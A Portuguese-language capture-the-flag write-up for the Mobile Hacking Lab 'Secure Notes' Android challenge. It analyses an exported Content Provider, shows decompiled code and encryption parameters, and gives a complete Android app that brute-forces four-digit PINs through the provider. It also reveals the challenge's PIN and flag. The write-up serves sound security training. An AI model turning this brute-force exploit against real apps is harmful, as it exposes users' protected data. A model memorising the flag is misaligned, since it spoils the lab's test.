[MHL] Secure Notes - Abuso de Content Provider no Android

Introdução

Continuando a série de Write-Ups para os desafios do Mobile Hacking Labs, este blogpost descreve minha solução para "Secure Notes", um Lab Android projetado para praticar a exploração de Content Providers no Android.

Imagem do Desafio Secure Notes

Índice

O App

O Mobile Hacking Lab apresenta "Secure Notes" como uma aplicação projetada para armazenar informações sensíveis protegidas por um código PIN. A descrição do desafio sugere que a aplicação pode ter falhas de segurança em sua implementação que poderiam permitir a um atacante quebrar a proteção do PIN.

App Secure Notes

Manifest Android

Como de costume, comecei o desafio fazendo engenharia reversa do APK e analisando o arquivo AndroidManifest.xml. A parte principal do manifest e do desafio está relacionada ao seguinte trecho:

<!-- ... -->
<provider
    android:name="com.mobilehackinglab.securenotes.SecretDataProvider"
    android:enabled="true"
    android:exported="true"
    android:authorities="com.mobilehackinglab.securenotes.secretprovider"/>
<!-- ... -->

Podemos notar uma declaração de um Content Provider, SecretDataProvider, que está exportado (android:exported="true") e é acessível consultando a URI content://com.mobilehackinglab.securenotes.secretprovider, que pode ser notada pelo atributo android:authorities.

Content Provider é um Componente Android usado para abstrair manipulação de dados, geralmente entre aplicações. Ele se comporta de forma muito similar a bancos de dados onde você pode consultá-lo, editar seu conteúdo, bem como adicionar ou deletar conteúdo usando os métodos query, insert(), update() e delete().

Para testar o provider encontrado, podemos usar a CLI content dentro de um shell ADB.

adb shell content query --uri content://com.mobilehackinglab.securenotes.secretprovider

No entanto, nenhum resultado será encontrado executando este comando. Felizmente, podemos ler o código do content provider para entender como ele funciona.

Código do SecretDataProvider

Lendo o código do SecretDataProvider, é possível notar que o app define algumas variáveis de um arquivo de asset config.properties.

package com.mobilehackinglab.securenotes;
// ...

public final class SecretDataProvider extends ContentProvider {
    private byte[] encryptedSecret;
    private int iterationCount;
    private byte[] iv;
    private byte[] salt;

    @Override // android.content.ContentProvider
    public boolean onCreate() throws IOException {
        AssetManager assets;
        InputStream inputStreamOpen;
        Properties properties = new Properties();
        Context context = getContext();
        if (context != null && (assets = context.getAssets()) != null && (inputStreamOpen = assets.open("config.properties")) != null) {
            InputStream inputStream = inputStreamOpen;
            try {
                InputStream it = inputStream;
                properties.load(it);
                byte[] bArrDecode = Base64.decode(properties.getProperty("encryptedSecret"), 0);
                this.encryptedSecret = bArrDecode;
                byte[] bArrDecode2 = Base64.decode(properties.getProperty("salt"), 0);
                this.salt = bArrDecode2;
                byte[] bArrDecode3 = Base64.decode(properties.getProperty("iv"), 0);
                this.iv = bArrDecode3;
                String property = properties.getProperty("iterationCount");
                this.iterationCount = Integer.parseInt(property);
                Unit unit = Unit.INSTANCE;
                CloseableKt.closeFinally(inputStream, null);
                return true;
            } catch (Throwable th) {
                try {
                    throw th;
                } catch (Throwable th2) {
                    CloseableKt.closeFinally(inputStream, th);
                    throw th2;
                }
            }
        }
        return true;
    }
encryptedSecret=bTjBHijMAVQX+CoyFbDPJXRUSHcTyzGaie3OgVqvK5w=
salt=m2UvPXkvte7fygEeMr0WUg==
iv=L15Je6YfY5owgIckR9R3DQ==
iterationCount=10000

Além do onCreate, o único método implementado das classes ContentProvider no provider customizado é query() com o seguinte código:

package com.mobilehackinglab.securenotes;

// ...

public final class SecretDataProvider extends ContentProvider {

		// ...

    @Override // android.content.ContentProvider
    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
        Object objM130constructorimpl;
        MatrixCursor matrixCursor = null;
        if (selection == null || !StringsKt.startsWith$default(selection, "pin=", false, 2, (Object) null)) {
            return null;
        }
        String strRemovePrefix = StringsKt.removePrefix(selection, (CharSequence) "pin=");
        try {
            StringCompanionObject stringCompanionObject = StringCompanionObject.INSTANCE;
            String str = String.format("%04d", Arrays.copyOf(new Object[]{Integer.valueOf(Integer.parseInt(strRemovePrefix))}, 1));
            try {
                Result.Companion companion = Result.INSTANCE;
                SecretDataProvider $this$query_u24lambda_u241 = this;
                objM130constructorimpl = Result.m130constructorimpl($this$query_u24lambda_u241.decryptSecret(str));
            } catch (Throwable th) {
                Result.Companion companion2 = Result.INSTANCE;
                objM130constructorimpl = Result.m130constructorimpl(ResultKt.createFailure(th));
            }
            if (Result.m136isFailureimpl(objM130constructorimpl)) {
                objM130constructorimpl = null;
            }
            String secret = (String) objM130constructorimpl;
            if (secret != null) {
                MatrixCursor $this$query_u24lambda_u243_u24lambda_u242 = new MatrixCursor(new String[]{"Secret"});
                $this$query_u24lambda_u243_u24lambda_u242.addRow(new String[]{secret});
                matrixCursor = $this$query_u24lambda_u243_u24lambda_u242;
            }
            return matrixCursor;
        } catch (NumberFormatException e) {
            return null;
        }
    }

Como pode ser visto no código, a função query() usa a seleção pin na consulta para tentar descriptografar uma mensagem na função decryptSecret. A função também fornece uma dica importante sobre o formato do pin, usando o String.format para torná-lo de 4 dígitos.

Criando um Exploit para o App

Após analisar a aplicação, pudemos destacar duas principais fraquezas no código do app:

  • SecretDataProvider está exportado sem restrições ou proteções;
  • O PIN usado na descriptografia é fraco e poderia ser recuperado através de força bruta em todas as opções de 4 dígitos

Para resolver este desafio, desenvolvi uma aplicação para fazer um ataque de força bruta no content provider. Os principais passos para fazer isso são:

  1. Adicionar tag <queries> no AndroidManifest.xml apontando para permitir que a aplicação interaja com o content provider alvo

    <queries>
    	<package android:name="com.mobilehackinglab.securenotes" />
    </queries>
    
  2. Implementar uma interação básica com o content provider, passando um PIN e validando o resultado da consulta.

    private String checkPin(String pin) {
        try {
            String secret = null;
            Uri uri = Uri.parse("content://com.mobilehackinglab.securenotes.secretprovider");
            String selection = "pin=" + pin;
            Cursor cursor = getContentResolver().query(uri, null, selection, null, null);
            if (cursor != null) {
                if (cursor.moveToFirst()) {
                    int secretColumnIndex = cursor.getColumnIndex("Secret");
                    if (secretColumnIndex != -1) {
                        secret = cursor.getString(secretColumnIndex);
                        if (secret != null && !secret.isEmpty()) {
                            Log.d(TAG_FOUND, "SECRET FOUND with PIN " + pin + ": " + secret);
                        }
                    }
                }
                cursor.close();
            }
            return secret;
        } catch (Exception e) {
            Log.e(TAG, "Error querying provider with PIN " + pin, e);
            return null;
        }
    }
    
  3. Força bruta em todos os dígitos de 0 a 9999 usando formato de 4 dígitos

        for (int pin = 0; pin < 10000; pin++) {
            String pinString = String.format("%04d", pin);
            String secret = checkPin(pinString);
        }
    

A implementação final itera todos os possíveis PINs de 4 dígitos consultando o Content Provider vulnerável com cada um deles.

package me.regne.pinextractor;

import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.widget.ProgressBar;
import android.widget.TextView;

import androidx.activity.EdgeToEdge;
import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {
    private static final String TAG = "PinExtractor";
    private static final String TAG_FOUND = "PinFound";
    private TextView textView;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_main);

        textView = findViewById(R.id.textView);
        textView.setText("Searching...");
        ProgressBar progressBar = findViewById(R.id.progressBar); // initiate the progress bar
        progressBar.setMax(9999);

        Thread th = new Thread(() -> {
            for (int pin = 0; pin < 10000; pin++) {
                String pinString = String.format("%04d", pin);
                Log.d(TAG, "Testing PIN: " + pinString);

                runOnUiThread(() -> {
                    textView.setText("Testing PIN: " + pinString);
                    progressBar.setProgress(Integer.parseInt(pinString));
                });

                String secret = checkPin(pinString);
                if (secret != null && secret.contains("CTF{")) {
                    Log.i(TAG_FOUND, "PIN FOUND: " + pin);

                    final String foundSecret = secret;
                    runOnUiThread(() -> textView.setText("PIN FOUND: " + pinString + "\n" + foundSecret));

                    return;
                }
            }
            runOnUiThread(() -> textView.setText("Search completed. No valid PIN found."));
        });

        th.start();
    }

    private String checkPin(String pin) {
        try {
            String secret = null;

            Uri uri = Uri.parse("content://com.mobilehackinglab.securenotes.secretprovider");
            String selection = "pin=" + pin;

            Log.d(TAG, "Querying with selection: " + selection);

            Cursor cursor = getContentResolver().query(uri, null, selection, null, null);

            if (cursor != null) {
                if (cursor.moveToFirst()) {
                    int secretColumnIndex = cursor.getColumnIndex("Secret");
                    if (secretColumnIndex != -1) {
                        secret = cursor.getString(secretColumnIndex);
                        if (secret != null && !secret.isEmpty()) {
                            Log.d(TAG_FOUND, "SECRET FOUND with PIN " + pin + ": " + secret);
                        }
                    }
                }
                cursor.close();
            }
            return secret;
        } catch (Exception e) {
            Log.e(TAG, "Error querying provider with PIN " + pin, e);
            return null;
        }
    }
}

O código final é mais longo que o necessário, mas é uma solução mais elegante. Note também que uma condição foi adicionada para validar se a mensagem descriptografada contém a string CTF{, isso foi adicionado após resolver o desafio, porque a consulta do content provider retorna o resultado de qualquer operação de descriptografia bem-sucedida, já que no AES, uma descriptografia programaticamente bem-sucedida (que significa uma operação matemática válida sem gerar exceções) poderia retornar um resultado inválido.

Textos descriptografados com sucesso

Após alguns segundos executando o app, o PIN correto (2580) foi descoberto. Com este PIN, a aplicação foi capaz de consultar com sucesso o Content Provider e recuperar a nota secreta criptografada: CTF{D1d_y0u_gu3ss_1t!1?}.

O código completo dos apps está disponível em um repositório do GitHub, juntamente com outras soluções de desafios da Mobile Hacking Labs.

Desafio Resolvido

Espero que tenham gostado deste write up e aprendido algo novo. Até mais, e lembrem-se: hack all the things! 👾

certificate-lab-secure-notes.png

MobileHackingLabsAndroidContent Provider